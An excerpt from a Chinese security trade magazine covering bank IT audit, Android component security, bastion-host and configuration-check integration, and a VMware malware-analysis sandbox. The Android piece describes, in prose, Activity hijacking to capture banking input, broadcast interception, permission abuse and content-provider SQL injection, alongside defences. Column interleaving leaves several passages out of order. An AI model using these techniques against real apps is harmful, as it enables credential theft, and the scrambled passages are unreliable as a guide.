门, 一 般 也 都 有 信 息 科 技 审 计 的 岗 位 设 置 但 由 于 全 行 的 信 息 科 技 审 计 是 一 项 较 为 专 业 和 复 杂 的 工 作, 对 于 人 员 的 技 术 性 专 业 性 有 一 定 的 要 求, 而 由 于 审 计 部 门 人 力 资 源 不 足 ( 一 般 仅 有 1 2 个 人 员 专 职 或 兼 职 ) 以 及 人 员 专 业 性 等 突 出 问 题, 造 成 很 多 城 商 行 的 信 息 科 技 审 计 没 有 很 好 地 开 展, 或 者 索 性 应 该 内 部 开 展 的 审 计 工 作 通 过 外 包 的 方 式 由 外 部 公 司 代 为 完 成 内 部 审 计 的 外 包 不 利 于 内 部 人 员 对 信 息 科 技 的 重 视 与 认 知 了 解, 内 部 审 计 开 展 的 频 率 有 时 也 很 难 保 证, 从 形 式 上 也 不 符 合 监 管 机 构 对 于 内 部 审 计 的 管 理 要 求, 应 得 到 管 理 层 的 高 度 重 视 3. 总 结 经 过 本 次 的 行 业 对 比, 我 们 形 成 了 一 套 用 于 比 对 商 业 银 行 信 息 科 技 风 险 管 理 状 况 的 指 标 体 系, 收 集 了 解 了 六 家 商 业 银 行 的 信 息 科 技 管 理 状 况, 由 此 推 断 总 结 了 当 前 的 信 息 科 技 落 实 层 面 的 行 业 平 均 水 平 和 较 高 水 平, 以 及 总 结 了 当 前 的 共 性 优 势 与 不 足 我 们 希 望 本 次 的 工 作 和 数 据 结 论 能 够 起 到 抛 砖 引 玉 的 作 用, 也 希 望 当 前 的 数 据 随 着 实 施 项 目 的 增 多 能 够 不 断 积 累 和 完 善, 从 而 能 够 提 高 数 据 分 析 的 准 确 性 37

行 业 热 点 Android 四 大 组 件 安 全 合 肥 办 事 处 王 东 亚 关 键 字 : Activity 安 全 Broadcast Receiver 安 全 Service 安 全 Content Provider 安 全 摘 要 :Android 应 用 程 序 由 四 大 组 件 Activity Broadcast Receiver Service Content Provider 组 成, 但 是 如 果 不 注 意 组 件 的 权 限 与 安 全, 很 有 可 能 造 成 信 息 劫 持 信 息 泄 露 等 严 重 安 全 问 题 力 求 通 过 本 次 横 向 对 比 了 解 现 状 发 现 规 律 分 析 原 因, 为 今 后 的 改 进 与 领 导 决 策 提 供 依 据 一 概 述 ndroid 四 大 组 件 为 Activity Broadcast Receiver Service AContent Provider Activity : 窗 口 组 件, 即 用 户 能 够 看 到 的 界 面 应 用 程 序 中, 一 个 Activity 通 常 就 是 一 个 单 独 的 屏 幕, 它 上 面 可 以 显 示 一 些 控 件, 也 可 以 监 听 并 处 理 用 户 的 事 件 做 出 响 应 Activity 之 间 通 过 Intent 进 行 通 信 例 如 : 要 查 看 一 个 人 的 联 系 方 式, 你 需 要 创 建 一 个 动 作 类 型 为 VIEW 的 Intent, 以 及 一 个 表 示 这 个 人 的 URI 与 之 有 关 系 的 一 个 类 叫 IntentFilter 相 对 于 Intent 是 一 个 有 效 的 做 某 事 的 请 求, 一 个 IntentFilter 则 用 于 描 述 一 个 Activity( 或 者 IntentReceiver) 能 够 操 作 哪 些 Intent 一 个 Activity 如 果 要 显 示 一 个 人 的 联 系 方 式 时, 需 要 声 明 一 个 IntentFilter, 这 个 IntentFilter 要 知 道 怎 么 去 处 理 VIEW 动 作 和 表 示 一 个 人 的 URI IntentFilter 需 要 在 AndroidManifest.xml 中 定 义 通 过 解 析 各 种 Intent, 从 一 个 屏 幕 导 航 到 另 一 个 屏 幕 是 很 简 单 的 当 向 前 导 航 时,Activity 将 会 调 用 startactivity(intent myintent) 方 法, 然 后 系 统 会 在 所 有 安 装 的 应 用 程 序 中 定 义 的 IntentFilter 中 查 找, 找 到 最 匹 配 myintent 的 Intent 对 应 的 Activity 新 的 Activity 接 收 到 myintent 的 通 知 后, 开 始 运 行 当 startactivity 方 法 被 调 用 将 触 发 解 析 myintent 的 动 作 Broadcast Receiver : 广 播 接 收 者, 用 于 处 理 接 收 到 的 广 播 应 用 程 序 可 能 只 关 心 某 个 特 定 的 外 部 事 件 ( 如 当 电 话 呼 入 时 或 者 数 据 网 络 可 用 时 ), 使 用 广 播 接 收 者 就 可 以 对 其 进 行 接 收 并 做 出 响 应 广 播 接 收 器 没 有 用 户 界 面 然 而, 它 们 可 以 启 动 一 个 Activity 或 serice 来 响 应 它 们 收 到 的 信 息, 或 者 用 NotificationManager 来 通 知 用 户 通 知 可 以 用 很 多 种 方 式 来 吸 引 用 户 的 注 意 力, 例 如 闪 动 背 灯 震 动 播 放 声 音 等 一 般 来 说 是 在 状 态 栏 上 放 一 个 持 久 的 图 标, 用 户 可 以 打 开 它 并 获 取 消 息 广 播 分 为 有 序 广 播 和 无 序 广 播 Service :Android 系 统 中 的 后 台 进 行 组 件 一 个 Service 是 一 段 长 生 命 周 期 的 没 有 用 户 界 面 的 程 序, 可 以 用 来 开 发 如 监 控 类 程 序 比 较 好 的 一 个 例 子 就 是 一 个 正 在 从 播 放 列 表 中 播 放 歌 曲 的 媒 体 播 放 38

行 业 热 点 器 在 一 个 媒 体 播 放 器 的 应 用 中, 应 该 会 有 多 个 Activity, 让 使 用 者 可 以 选 择 歌 曲 并 播 放 歌 曲 然 而, 音 乐 重 放 这 个 功 能 并 没 有 对 应 的 Activity, 因 为 使 用 者 当 然 会 认 为 在 导 航 到 其 它 屏 幕 时 音 乐 应 该 还 在 播 放 的 在 这 个 例 子 中, 媒 体 播 放 器 这 个 Activity 会 使 用 Context. startservice() 来 启 动 一 个 Service, 从 而 可 以 在 后 台 保 持 音 乐 的 播 放 同 时, 系 统 也 将 保 持 这 个 Service 一 直 执 行, 直 到 这 个 Service 运 行 结 束 另 外, 我 们 还 可 以 通 过 使 用 Context.bindService() 方 法, 连 接 到 一 个 Service 上 ( 如 果 这 个 Service 还 没 有 运 行 将 启 动 它 ) 当 连 接 到 一 个 Service 之 后, 我 们 还 可 以 Service 提 供 的 接 口 与 它 进 启 动 或 停 止 一 个 进 程, 都 是 先 报 告 给 AmS 当 AmS 收 到 要 启 动 或 停 止 Activity 的 消 息 时, 它 先 更 新 内 部 记 录, 再 通 知 相 应 的 进 程 运 行 或 停 止 指 定 的 Activity 当 新 的 Activity 启 动, 前 一 个 Activity 就 会 停 止, 这 些 Activity 都 保 留 在 系 统 中 的 一 个 Activity 历 史 栈 中 每 有 一 个 Activity 启 动, 它 就 压 入 历 史 栈 顶, 并 在 手 机 上 显 示 当 用 户 按 下 back 键 时, 顶 部 Activity 弹 出, 恢 复 前 一 个 Activity, 栈 顶 指 向 当 前 的 Activity 但 是 Activity 在 指 定 Intent-filter 后, 默 认 是 可 以 被 外 部 程 序 访 问 的, 比 如 下 面 的 代 码, 因 为 没 有 指 定 权 限, 导 致 可 以 被 其 他 程 序 调 用 行 通 讯 拿 媒 体 播 放 器 这 个 例 子 来 说, 我 们 还 可 以 进 行 暂 停 重 播 等 操 作 Content Provider : 内 容 提 供 者, 用 于 程 序 之 间 的 数 据 共 享 Android 平 台 提 供 了 Content Provider 使 一 个 应 用 程 序 的 指 定 数 据 集 提 供 给 其 他 应 用 程 序 这 些 数 据 可 以 存 储 在 文 件 系 统 中 在 一 个 SQLite 数 据 库 或 以 任 何 其 他 合 理 的 方 式, 其 他 应 用 可 以 通 过 ContentResolver 类 从 该 内 容 提 供 者 中 获 取 或 存 入 数 据, 只 有 需 要 可 以 将 android:exported 的 属 性 值 设 为 false, 来 设 定 Activity 不 能 被 外 部 程 序 调 用, 也 可 以 使 用 android:permission 属 性 来 指 定 一 个 权 限 字 符 串, 所 有 需 要 调 用 Activity 的 程 序 都 必 须 具 有 此 权 限, 否 则 会 抛 出 SecurityException 异 常 在 多 个 应 用 程 序 间 共 享 数 据 时 才 需 要 内 容 提 供 者 例 如, 通 讯 录 数 据 被 多 个 应 用 程 序 使 用, 且 必 须 存 储 在 一 个 内 容 提 供 者 中 二 Activity 安 全 2.1 权 限 安 全 在 Android 系 统 中, 不 同 的 界 面 之 间 的 切 换 是 通 过 Activity 的 切 换 实 现 Activity 的 调 度 是 交 由 Android 系 统 中 的 AmS 管 理 的 如 果 设 置 了 上 面 的 权 限, 那 么 Activity 在 被 调 用 时, 必 须 在 AndroidManifest.xml 中 加 入 权 限 AmS 即 ActivityManagerService(Activity 管 理 服 务 ), 各 个 应 用 想 39

行 业 热 点 2.2 Activity 劫 持 在 启 动 一 个 Activity 时, 如 果 给 它 加 入 一 个 标 志 位 FLAG_ ACTIVITY_NEW_TASK, 就 能 使 它 置 于 栈 顶 并 立 马 呈 现 给 用 户 其 实 这 样 是 存 在 风 险 的, 比 如 恶 意 程 序 检 测 到 用 户 打 开 网 银 客 户 端 发 送 广 播 的 代 码 为 : 的 时 候, 程 序 就 会 启 动 一 个 带 有 FLAG_ACTIVITY_NEW_TASK 标 志 的 Activity, 覆 盖 正 常 的 Activity, 当 用 户 输 入 完 成, 程 序 再 跳 转 到 正 常 的 界 面, 这 样 便 劫 持 了 用 户 的 信 息 3.2 接 收 安 全 当 广 播 使 用 无 序 广 播 发 送 时, 因 为 无 法 终 止 广 播 的 发 送, 所 以 只 能 监 听 到 广 播 的 内 容, 或 者 对 广 播 做 出 响 应 三 Boradcast Receiver 安 全 Android 广 播 分 为 有 序 广 播 (sendorderedbroadcast()) 和 无 序 如 果 要 实 现 监 听 广 播 的 内 容, 只 需 要 监 听 广 播 的 Action, 即 可 接 收 到 广 播 广 播 (sendbroadcast()) : 无 序 广 播 能 够 被 所 有 的 广 播 接 收 者 接 收, 并 且 不 能 使 用 abortbroadcast() 终 止 广 播 的 发 送 ; 有 序 广 播 按 照 优 先 级 (android:priority 属 性 ) 的 高 低 顺 序 依 次 发 送, 优 先 级 高 的 广 播 接 收 者 可 以 修 改 广 播, 然 后 发 送, 也 可 以 使 用 abortbroadcast() 终 止 广 播 的 发 送 当 广 播 使 用 无 序 广 播 发 送 时, 因 为 广 播 是 按 优 先 级 顺 序 进 行 传 播 的, 所 以 如 果 恶 意 程 序 将 广 播 的 优 先 级 设 置 为 最 高, 那 么 将 第 一 个 接 收 到 广 播, 进 而 可 以 篡 改 广 播 内 容, 或 者 终 止 广 播 的 发 送 3.1 权 限 安 全 Android 中 广 播 首 先 通 过 Intent-filter 来 设 置 一 个 Action, 用 于 标 识 然 后 通 过 sendbroadcast() 发 送 广 播, 系 统 中 所 有 注 册 该 Action 的 广 播 接 收 者 都 会 接 收 到 该 广 播 但 是 使 用 该 Intent-filter 的 Activity 默 认 是 可 以 被 外 部 访 问 的, 所 以 同 样 存 在 Activity 的 权 如 果 要 防 御 这 种 攻 击, 在 广 播 发 送 时, 通 过 Intent 指 定 具 体 要 发 送 到 的 组 件 或 类 限 攻 击 40

行 业 热 点 四 Service 安 全 Android 中 的 Service, 它 与 Activity 不 同, 它 是 不 能 与 用 户 交 互 的 不 能 自 己 启 动 的 运 行 在 后 台 的 程 序, 我 们 退 出 应 用 时, 供 者 通 过 提 供 存 储 于 查 询 数 据 的 接 口 来 实 现 进 程 之 间 的 数 据 共 享 例 如 系 统 中 的 电 话 簿 短 信 息, 我 们 都 是 通 过 Content Provider 来 访 问 的 5.1 权 限 安 全 Service 进 程 并 没 有 结 束, 它 仍 然 在 后 台 运 行 那 我 们 什 么 时 候 会 用 到 Service 呢? 比 如 我 们 播 放 音 乐 的 时 候, 有 可 能 想 边 听 音 乐 边 干 些 其 他 事 情, 当 我 们 退 出 播 放 音 乐 的 应 用, 如 果 不 用 Service, 我 们 就 听 不 到 歌 了, 所 以 这 时 候 就 得 用 到 Service 了 当 声 明 Service 时 指 定 了 Intent-filter, 该 Service 默 认 可 以 被 外 部 访 问, 可 被 访 问 的 方 法 有 : startservice(): 启 动 服 务 bindservice(): 绑 定 服 务 stopservice(): 停 止 服 务 以 上 的 方 法 都 能 被 用 于 做 权 限 攻 击, 只 需 要 注 册 Service, 然 后 调 用 相 应 的 方 法 进 行 操 纵 content provider 提 供 了 insert() delete() update() query() 方 法 对 数 据 库 进 行 增 删 改 查, 其 中 query() 操 作 时 会 检 查 是 否 具 有 android:readpermission 权 限, 其 他 的 操 作 会 检 查 是 否 具 有 android:writepermission 权 限 但 是 很 多 程 序 在 声 明 content provider 时, 几 乎 不 使 用 这 两 个 权 限, 导 致 存 在 权 限 攻 击, 最 终 恶 意 程 序 可 以 获 得 程 序 的 敏 感 信 息 5.2 sql injection content provider 一 般 管 理 的 是 一 个 sqlite 数 据 库, 那 么 如 果 代 码 写 的 不 规 范, 就 会 存 在 SQL 注 入 的 问 题, 比 如 通 过 通 过 字 符 串 拼 接 的 方 式 进 行 数 据 查 询, 就 会 存 在 SQL 注 入 的 问 题 同 样 的, 我 们 可 以 通 过 指 定 android:exported 为 false 来 禁 止 程 序 外 的 其 他 组 件 调 用 Service, 也 可 以 通 过 设 置 android:permission 的 权 限 来 方 式 Service 被 调 用 五 Content Provider 安 全 Android 系 统 中, 每 个 应 用 的 数 据 库 文 件 资 源 等 信 息 都 是 私 有 的, 其 他 的 程 序 是 无 法 访 问 的, 如 果 想 要 访 问 这 些 数 据, 就 必 须 提 供 一 种 程 序 之 间 数 据 的 访 问 机 制, 这 就 是 Content Provider, 内 容 提 参 考 文 献 h t t p : / / w w w. c n b l o g s. c o m / b r a v e s t a r r h u / archive/2012/05/02/2479461.html Android 软 件 安 全 与 逆 向 分 析 http://android.toolib.net/guide/topics/providers/contentprovider-basics.html 41

行 业 热 点 关 于 强 化 系 统 运 维 安 全 管 理 的 技 术 探 讨 产 品 推 广 部 张 盼 张 旭 关 键 字 : 堡 垒 机 配 置 核 查 运 维 摘 要 : 随 着 信 息 安 全 技 术 不 断 发 展, 系 统 安 全 运 维 管 理 已 经 形 成 了 比 较 完 善 的 工 作 流 程 和 方 法, 对 系 统 运 维 安 全 管 理 也 有 了 很 多 研 究 成 果 堡 垒 机 和 安 全 配 置 核 查 产 品 是 当 前 普 遍 使 用 的 系 统 运 维 安 全 管 理 产 品, 通 过 两 类 产 品 灵 活 的 组 合 联 动, 可 以 实 现 对 系 统 运 维 安 全 管 理 手 段 的 强 化, 本 文 就 讨 论 这 种 强 化 系 统 运 维 安 全 管 理 的 技 术 一 当 前 系 统 安 全 运 维 管 理 的 问 题 着 全 球 信 息 技 术 的 不 断 发 展 和 信 息 化 建 设 的 不 断 进 步, 政 企 随 信 息 化 水 平 得 到 飞 速 提 升, 其 办 公 系 统 商 务 平 台 不 断 推 出 和 投 入 运 行, 信 息 系 统 在 企 业 的 运 营 中 全 面 渗 透 尤 其 是 电 信 财 政 税 务 公 安 金 融 电 力 石 油 等 重 要 行 业 的 大 型 机 构 和 企 业 内 网 中, 更 是 使 用 数 量 较 多 的 服 务 器 主 机 来 运 行 关 键 业 务 这 种 情 况 下, 企 业 对 IT 系 统 的 依 赖 程 度 也 越 来 越 高, 各 类 业 务 系 统 也 变 得 日 益 复 杂 就 一 个 信 息 化 程 度 很 高 的 网 络 信 息 系 统 而 言, 其 针 对 传 统 的 信 息 安 全 问 题 防 护 已 经 比 较 完 善, 最 大 的 威 胁 和 破 坏 来 自 企 业 内 部 据 相 关 机 构 对 用 户 调 研 数 据 显 示,10.7% 的 安 全 问 题 导 致 网 络 数 据 破 坏,13% 的 安 全 问 题 导 致 数 据 失 密,18% 的 病 毒 程 序 感 染 问 题 导 致 系 统 短 暂 故 障, 而 从 恶 意 攻 击 的 特 点 来 看,70% 的 攻 击 来 自 组 织 内 部 所 有 内 部 隐 患 中, 权 限 无 法 控 制 安 全 策 略 不 当 特 权 用 户 的 随 意 操 作 等 等 情 况, 归 结 起 来 主 要 体 现 在 以 下 几 个 方 面 : 账 号 管 理 无 序, 暗 藏 巨 大 风 险 权 限 管 理 粗 放, 安 全 性 难 保 证 日 志 粒 度 粗 犷, 事 件 定 位 不 易 42

行 业 热 点 第 三 方 代 维 管 理 带 来 安 全 隐 患 传 统 安 全 审 计 已 无 法 满 足 要 求 面 临 政 策 和 行 业 合 规 遵 从 压 力 以 上 问 题 会 随 着 IT 系 统 的 发 展 而 变 得 越 来 越 严 重,IT 安 全 运 维 管 理 的 变 革 刻 不 容 缓 由 于 系 统 自 身 是 采 用 强 认 证 的 系 统, 从 而 提 高 了 用 户 认 证 环 节 的 安 全 性 其 二, 账 号 管 理 功 能 : 账 号 和 资 源 的 集 中 管 理 是 集 中 授 权 认 证 和 审 计 的 基 础 集 中 账 号 管 理 可 以 完 成 对 账 号 整 个 生 命 周 期 的 监 控 和 管 理, 而 且 还 降 低 了 企 业 管 理 大 量 用 户 账 号 的 难 度 和 工 作 量 同 时, 通 过 统 一 的 管 理 制 定 统 一 的 标 准 的 用 户 账 号 安 全 策 略, 可 实 现 从 账 号 的 自 动 改 密, 第 三 方 运 维 人 员 无 法 获 知 设 备 的 密 码 信 息 强 制 运 维 人 员 通 过 堡 垒 机 进 行 系 统 安 全 运 维 如 图 1 所 示 二 系 统 配 置 变 更 管 理 和 审 计 针 对 以 上 情 况, 堡 垒 机 应 运 而 生 堡 垒 机, 又 被 具 体 称 为 内 控 堡 垒 机, 它 综 合 了 运 维 管 理 和 安 全 性, 切 断 了 终 端 计 算 机 对 网 络 和 服 务 器 资 源 的 直 接 访 问, 而 是 采 用 协 议 代 理 的 方 式, 接 管 了 终 端 计 算 机 对 网 络 和 服 务 器 的 访 问 形 象 地 说, 终 端 计 算 机 对 目 标 的 访 问, 均 需 要 经 过 堡 垒 主 机 的 翻 译 主 要 包 含 四 大 功 能 点 : 其 一, 单 点 登 录 功 能 : 用 户 通 过 一 次 登 录 系 统 后, 就 可 以 无 需 认 证 地 访 问 包 括 被 授 权 的 多 种 基 于 B/S 和 C/S 的 应 用 系 统 单 点 登 录 为 具 有 多 账 号 的 用 户 提 供 了 方 便 快 捷 的 访 问 途 经, 使 用 户 无 需 记 忆 多 种 登 录 用 户 ID 和 口 令 它 通 过 向 用 户 和 客 户 提 供 对 其 个 性 化 资 源 的 快 捷 访 问 提 高 生 产 效 率 同 时, 图 1 堡 垒 机 应 用 原 理 其 三, 资 源 授 权 功 能 : 通 过 集 中 访 问 授 权 和 访 问 控 制 可 以 对 用 户 通 过 B/S C/S 对 服 务 器 主 机 网 络 设 备 的 访 问 进 行 审 计 和 阻 断 在 集 中 访 问 授 权 里 强 调 的 集 中 是 逻 辑 上 的 集 中, 而 不 是 物 理 上 的 集 中 其 四, 操 作 审 计 功 能 : 操 作 审 计 管 理 主 要 审 计 人 员 的 账 号 使 用 ( 登 录 资 源 访 问 ) 情 况 资 源 使 用 情 况 等 在 各 服 务 器 主 机 网 络 设 备 的 访 问 日 志 记 录 都 采 用 统 一 的 账 号 资 源 进 行 43

行 业 热 点 标 识 后, 操 作 审 计 能 更 好 地 对 账 号 的 完 整 使 用 过 程 进 行 追 踪, 并 通 过 系 统 自 身 的 用 户 认 证 系 统 用 户 授 权 系 统 以 及 访 问 控 制 等 详 细 记 录 整 个 会 话 过 程 中 用 户 的 全 部 行 为 日 志, 还 可 以 将 产 生 的 日 志 传 送 给 第 三 方 产 品 在 这 些 主 干 功 能 构 筑 的 强 大 安 全 体 系 下, 堡 垒 机 将 实 现 对 系 统 用 户 管 理 对 内 网 操 作 审 计 对 网 络 设 备 管 理 和 对 黑 客 行 为 防 范 四 大 功 能, 完 美 地 演 绎 了 内 网 安 全 终 结 者 角 色, 成 为 政 企 事 业 单 位 内 网 安 全 建 设 的 未 来 战 士 三 系 统 配 置 安 全 核 查 通 过 上 一 章 节 论 述 的 堡 垒 机 系 统, 可 以 有 效 地 做 到 对 运 维 人 员 的 安 全 管 理, 实 现 对 运 维 人 员 的 安 全 审 计 但 是 运 维 人 员 维 护 信 息 系 统 的 操 作 是 否 正 确, 信 息 系 统 配 置 变 更 后 是 否 安 全, 还 没 有 进 行 快 速 评 估 为 保 证 信 息 系 统 安 全 可 控, 我 们 建 议 在 信 息 系 统 中 还 应 该 部 署 安 全 配 置 核 查 类 产 品 安 全 配 置 核 查 类 的 产 品 是 通 过 管 理 员 的 授 权, 以 授 权 的 用 户 身 份 ( 多 为 管 理 员 身 份 ) 登 录 目 标 IT 系 统, 然 后 对 IT 系 统 的 系 统 配 置 进 行 检 查 安 全 配 置 核 查 类 产 品 可 图 2 配 置 核 查 类 产 品 应 用 原 理 以 定 义 各 类 操 作 系 统 数 据 库 虚 拟 化 平 台 应 用 服 务 网 络 设 备 等 产 品 的 配 置 规 范, 然 后 依 照 系 统 配 置 规 范 对 目 标 系 统 进 行 配 置 核 查, 确 保 系 统 配 置 是 满 足 安 全 规 范 要 求 的 如 图 2 所 示 通 过 安 全 配 置 核 查 类 产 品, 可 以 摒 弃 传 统 的 人 工 逐 一 检 查, 可 以 快 速 地 对 大 规 模 网 络 中 上 百 台 服 务 器 网 络 设 备 虚 拟 化 平 台 进 行 配 置 核 查 工 作, 降 低 人 工 成 本 和 操 作 复 杂 度 但 是 安 全 配 置 核 查 类 产 品 在 对 IT 系 统 的 系 统 配 置 进 行 检 查 时, 需 要 得 到 系 统 的 用 户 名 密 码 而 使 用 了 堡 垒 机 后, 用 户 将 只 知 道 自 己 在 堡 垒 机 上 的 主 账 号 密 码, 而 不 知 道 实 际 登 录 IT 系 统 的 从 账 号 密 码, 这 样 将 无 法 使 用 安 全 配 置 核 查 类 产 品 对 IT 系 统 进 行 检 查 四 联 动 实 现 系 统 配 置 变 更 闭 环 管 理 如 上 述 章 节 所 述, 通 过 堡 垒 机 的 使 用, 可 以 有 效 地 对 系 统 配 置 变 更 进 行 管 理, 通 过 安 全 配 置 核 查 产 品 可 以 有 效 地 实 现 系 统 配 置 安 全 性 的 检 查, 但 是 堡 垒 机 的 IT 系 统 密 码 保 护 机 制 会 阻 碍 安 全 配 置 核 查 类 产 品 发 挥 作 用 如 果 两 种 产 品 能 够 相 互 配 合, 反 而 可 以 在 系 统 安 全 运 维 中 发 挥 出 更 强 大 的 作 用 由 于 堡 垒 机 可 以 管 理 IT 系 统 的 账 户 密 码, 如 果 通 过 联 动 机 制, 将 堡 垒 机 管 理 的 IT 系 统 账 户 密 码 传 递 给 安 全 配 置 核 查 系 统, 那 么 安 全 配 置 核 查 系 统 就 可 以 实 44

行 业 热 点 现 其 配 置 核 查 作 用 了 看 似 简 单 的 联 动 操 作 在 实 际 应 用 时 可 以 实 现 系 统 配 置 变 更 的 闭 环 管 理 传 统 的 系 统 安 全 运 维 中, 系 统 管 理 员 经 常 会 调 整 系 统 的 安 全 配 置, 但 是 对 系 统 配 置 的 调 整 是 否 合 法 维 人 员 与 不 合 规 配 置 项 后, 安 全 管 理 员 可 以 对 运 维 人 员 进 行 追 责, 要 求 其 进 行 整 改, 整 改 过 程 实 际 上 也 是 系 统 配 置 变 更 过 程, 依 旧 在 整 个 堡 垒 机 & 配 置 核 查 体 系 中 受 到 监 控 和 审 计 当 系 统 整 改 完 成,IT 系 统 全 部 配 置 符 合 安 全 规 范 后, 整 个 配 置 变 更 运 维 的 过 程 才 算 完 成 闭 环 如 图 3 所 示 以 及 调 整 完 的 配 置 是 否 安 全, 这 些 都 是 被 忽 视 的 地 方 而 通 过 堡 垒 机 和 安 全 配 置 核 查 系 统 的 使 用, 我 们 可 以 有 效 解 决 系 统 配 置 变 更 管 理 的 问 题 系 统 管 理 员 收 到 运 维 的 需 求 后, 首 先 登 录 堡 垒 机, 在 堡 垒 机 中 按 照 运 维 需 求 对 IT 系 统 的 配 置 进 行 调 整 整 个 配 置 变 更 的 全 过 程 都 要 通 过 堡 垒 机 进 行, 由 堡 垒 机 进 行 全 程 审 计 堡 垒 机 将 IT 系 统 的 账 户 密 码 传 递 给 安 全 配 置 核 查 系 统, 在 系 统 管 理 图 3 系 统 配 置 变 更 闭 环 管 理 员 完 成 安 全 配 置 变 更 后, 由 安 全 配 置 核 查 系 统 对 IT 系 统 进 行 配 置 核 查, 检 查 修 改 后 的 系 统 配 置 是 否 符 合 现 有 的 安 全 规 范 如 果 发 现 有 不 符 合 安 全 规 范 的 地 方, 则 可 以 在 安 全 配 置 核 查 产 品 中 进 行 告 警, 并 且 在 出 具 的 检 查 报 告 中 体 现 安 全 管 理 员 可 以 及 时 发 现 系 统 配 置 异 常 情 况, 并 通 过 堡 垒 机 的 审 计 信 息 定 位 到 修 改 配 置 的 人 员 在 定 位 到 运 五 总 结 通 过 堡 垒 机 和 安 全 配 置 核 查 类 产 品 的 联 动, 可 以 实 现 系 统 运 维 运 维 审 计 运 维 核 查 整 改 追 责 整 个 系 统 安 全 运 维 过 程 的 闭 环 管 理, 有 效 地 实 现 对 运 维 人 员 的 监 督 管 理 以 及 对 信 息 系 统 的 配 置 管 理 通 过 上 述 介 绍 可 以 看 出, 互 相 冲 突 阻 碍 的 产 品, 通 过 相 互 间 取 长 补 短 强 强 联 合, 可 以 发 挥 出 原 有 单 一 产 品 不 具 备 的 安 全 功 能 可 见, 在 信 息 安 全 领 域, 只 要 能 够 合 理 地 利 用 安 全 设 备 的 功 能 特 点, 灵 活 组 合, 就 可 以 获 得 更 强 的 安 全 管 理 能 力, 实 现 更 好 的 安 全 管 理 效 果 45

行 业 热 点 基 于 VMware 环 境 下 恶 意 代 码 自 动 分 析 平 台 的 搭 建 武 汉 分 公 司 殷 水 军 关 键 字 : VMware 虚 拟 机 恶 意 代 码 自 动 分 析 摘 要 : 本 文 在 对 部 分 恶 意 代 码 分 析 技 术 进 行 研 究 后, 搭 建 了 一 种 基 于 VMware 环 境 的 恶 意 代 码 分 析 平 台, 实 现 了 VMware 环 境 对 恶 意 代 码 的 自 动 分 析, 实 验 结 果 证 明 了 该 平 台 的 实 用 性 和 方 便 性 一 引 言 年 来, 恶 意 代 码 攻 击 已 经 成 为 互 联 近 网 安 全 的 主 要 威 胁 之 一, 针 对 个 人 计 算 机 服 务 器 的 攻 击 越 来 越 多, 手 段 也 开 始 变 得 多 样 化 [1] 其 中 尤 以 对 Windows 系 统 平 台 的 攻 击 最 为 流 行, 基 于 这 个 平 台 的 各 种 应 用 软 件 层 出 不 穷, 不 管 是 通 过 社 会 工 程 学 应 用 软 件 漏 洞 还 是 操 作 系 统 漏 洞 都 可 以 对 用 户 实 施 有 效 的 攻 击, 在 这 种 攻 击 的 背 后 各 种 类 型 的 恶 意 代 码 也 就 开 始 出 现 了 因 此 分 析 这 些 恶 意 代 码 的 原 理 及 其 行 为, 并 搭 建 出 相 应 的 安 全 检 测 工 具 来 分 析 它 们, 就 显 得 相 当 必 要 了 二 恶 意 代 码 分 析 模 型 的 建 立 为 了 实 现 对 恶 意 代 码 的 精 确 分 析, 本 文 提 出 一 种 如 图 1 所 示 的 分 析 模 型, 整 个 模 型 分 为 七 个 子 模 块, 分 别 为 还 原 镜 像 模 块 恶 意 代 码 复 制 模 块 预 初 始 化 模 块 恶 意 代 码 执 行 模 块 执 行 后 模 块 虚 拟 机 内 存 分 析 模 块 [2], 每 一 模 块 都 是 在 一 个 VMware[3] 虚 拟 环 境 中 来 运 行 的 图 1 恶 意 代 码 分 析 模 型 还 原 镜 像 模 块 : 用 VMware 虚 拟 机 分 析 恶 意 代 码 之 前, 必 须 将 虚 拟 机 系 统 还 原 至 某 一 个 干 净 快 照 点, 以 便 可 以 从 一 个 干 净 的 系 统 开 始 分 析, 这 就 是 创 建 基 线 的 意 义 而 还 原 镜 像 模 块 的 作 用 是 每 一 次 分 析 完 毕 后 能 够 准 确 地 回 到 这 一 个 基 线 点 恶 意 代 码 复 制 模 块 : 在 VMware 虚 拟 机 系 统 还 原 到 一 个 干 净 的 镜 像 基 点 后, 可 以 使 用 虚 拟 机 提 供 的 CopyFile() FromHostToGuest() 等 函 数, 将 待 分 析 的 恶 意 代 码 复 制 到 虚 拟 机 中 指 定 的 目 录, 使 得 虚 拟 机 能 够 运 行 该 恶 意 代 码 预 初 始 化 模 块 : 当 恶 意 代 码 复 制 到 VMware 虚 拟 机 的 指 定 目 录 后, 且 执 行 恶 意 代 码 之 前, 所 需 要 处 理 的 任 意 预 备 操 作, 包 46

行 业 热 点 括 执 行 恶 意 代 码 样 本 的 静 态 分 析 启 动 网 络 报 文 捕 获 组 件 等 操 作 都 在 这 里 完 成 恶 意 代 码 执 行 模 块 : 在 恶 意 代 码 的 静 态 分 析 启 动 网 络 报 文 捕 获 组 件 等 操 作 完 成 后, 利 用 VMware 虚 拟 机 提 供 的 命 令 行 工 具 开 始 执 行 恶 意 代 码 执 行 后 模 块 : 当 在 VMware 虚 拟 机 中 执 行 完 恶 意 代 码 之 后, 需 要 停 止 所 有 已 经 激 活 的 报 文 捕 获 组 件 等 操 作 虚 拟 机 内 存 分 析 模 块 : 在 VMware 虚 拟 机 中 执 行 完 恶 意 代 码 之 后, 挂 起 虚 拟 机 并 访 问 在 该 主 机 文 件 系 统 中 的 虚 拟 机 内 存.vem 文 件 [4], 使 用 Volatility 插 件 [5] 分 析 该 内 存 文 件, 分 析 完 成 后, 暂 停 虚 拟 机 并 还 原 镜 像 目 标 至 某 一 个 干 净 快 照 点, 也 即 是 前 述 的 基 线, 供 下 次 循 环 分 析 三 搭 建 VMware 环 境 实 现 对 恶 意 代 码 的 分 析 利 用 前 面 建 立 的 分 析 模 型, 下 面 我 们 分 别 从 Vmware 分 析 环 境 的 搭 建 恶 意 代 码 的 静 态 分 析 动 态 分 析 ( 也 即 捕 获 网 络 日 志 内 存 分 析 ) 等 三 个 方 面 具 体 阐 述 怎 样 利 用 该 模 型 来 搭 建 自 己 的 恶 意 代 码 分 析 环 境 3.1 在 python 中 使 用 vm 类 来 控 制 虚 拟 机 环 境 为 了 实 现 对 VMware 虚 拟 机 进 行 精 确 的 控 制, 本 文 使 用 一 个 基 于 python 开 发 的 vm 类 来 实 现 对 虚 拟 机 的 实 际 控 制, 具 体 如 图 2 所 示 类 名 vm vm.revert() vm.start() 方 法 vm.copytovm() vm.winexec() vm.stop() 图 2 基 于 python 开 发 的 vm 类 其 中 vm.revert() 函 